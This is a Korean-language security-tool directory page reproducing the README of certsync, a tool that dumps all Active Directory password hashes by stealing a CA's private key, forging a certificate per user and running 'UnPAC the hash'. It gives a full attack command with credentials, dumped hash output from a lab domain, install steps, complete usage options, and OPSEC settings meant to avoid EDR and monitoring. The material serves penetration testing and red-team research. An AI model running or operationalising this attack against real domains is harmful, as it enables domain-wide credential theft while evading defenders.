Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
certsync — 골든 인증서로 NTDS 덤프 및 해시 UnPAC | Kitploit
도구/GitHubGitHub/zblurx/certsync
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingAuthenticationRed Teaming
GitHubzblurx/certsync

certsync

골든 인증서로 NTDS 덤프 및 해시 UnPAC

저장소 보기
649682년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

certsync

certsync는 NTDS를 원격으로 덤프하는 새로운 기법입니다. 이번에는 DRSUAPI 없이 골든 인증서(golden certificate)와 UnPAC the hash를 사용합니다. 다음 단계로 작동합니다:

  1. LDAP에서 사용자 목록, CA 정보 및 CRL 덤프
  2. CA 인증서와 개인 키 덤프
  3. 각 사용자에 대해 오프라인으로 인증서 위조
  4. 각 사용자에 대해 UnPAC the hash를 수행하여 NT 및 LM 해시 획득
root@kitploit:~
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::

일반적인 예상과 달리, 이 공격은 전혀 느리지 않습니다.

목차

  • certsync
    • 목차
    • 설치
    • 사용법
    • 이유
    • 요구사항
    • 한계
    • OPSEC
    • 감사의 글

설치

로컬:

root@kitploit:~
git clone https://github.com/zblurx/certsync
cd certsync
pip install .

Pypi에서:

root@kitploit:~
pip install certsync

BlackArch에서:

root@kitploit:~
pacman -S certsync

모든 OS 배포판 패키지:

Packaging status

사용법

root@kitploit:~
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username]
                [-p password] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver]
                [-dns-tcp] -dc-ip ip address [-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]

Dump NTDS with golden certificates and UnPAC the hash

options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -outputfile OUTPUTFILE
                        base output filename

CA options:
  -ca-pfx pfx/p12 file name
                        Path to CA certificate. If used, will skip backup of CA certificate and private key
  -ca-ip ip address     IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP

authentication options:
  -d domain.local, -domain domain.local
                        Domain name
  -u username, -username username
                        Username
  -p password, -password password
                        Password
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -kdcHost KDCHOST      FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection options:
  -scheme ldap scheme
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

OPSEC options:
  -ldap-filter LDAP_FILTER
                        ldap filter to dump users. Default is (&(|(objectCategory=person)(objectClass=computer))(objectClass=user))
  -template cert.pfx    base template to use in order to forge certificates
  -timeout timeout      Timeout between PKINIT connection
  -jitter jitter        Jitter between PKINIT connection
  -randomize            Randomize certificate generation. Takes longer to generate all the certificates

이유

DSRUAPI는 점점 더 많이 모니터링되고 있으며, EDR 솔루션에 의해 제한되기도 합니다. 또한 certsync는 도메인 관리자 계정이 필요하지 않으며, CA 관리자 계정만 있으면 됩니다.

요구사항

이 공격에는 다음이 필요합니다:

  • 도메인의 ADCS 서버에 구성된 엔터프라이즈 CA,
  • PKINIT 동작,
  • ADCS 서버에서 로컬 관리자 권한이 있는 도메인 계정, 또는 CA 인증서와 개인 키의 내보내기.

한계

해지된 사용자는 PKINIT을 수행할 수 없으므로 해당 사용자의 해시를 덤프할 수 없습니다.

OPSEC

도구의 동작을 사용자 정의하기 위해 몇 가지 옵션이 추가되었습니다:

  • -ldap-filter: certsync에 사용할 사용자 이름을 선택하기 위한 LDAP 필터를 변경합니다.
  • -template: 이미 발급된 인증서를 사용하여 사용자 인증서를 위조할 때 이를 모방합니다.
  • -timeout 및 -jitter: PKINIT 인증 요청 간의 시간 초과를 변경합니다.
  • -randomize: 기본적으로 모든 위조된 사용자 인증서는 동일한 개인 키, 일련 번호 및 유효 기간을 갖습니다. 이 매개변수는 이들을 무작위화하지만, 위조 시간이 더 오래 걸립니다.

감사의 글

  • Olivier Lyak - ADCS 및 certipy에 대한 모든 작업.
  • Benjamin Delpy - unPAC the hash 기법.
  • Will Schroeder 및 Lee Christensen - Certified Pre-Owned 및 Certify.
  • Mayfly - 훌륭한 실습 환경 GOAD.
도구 다운로드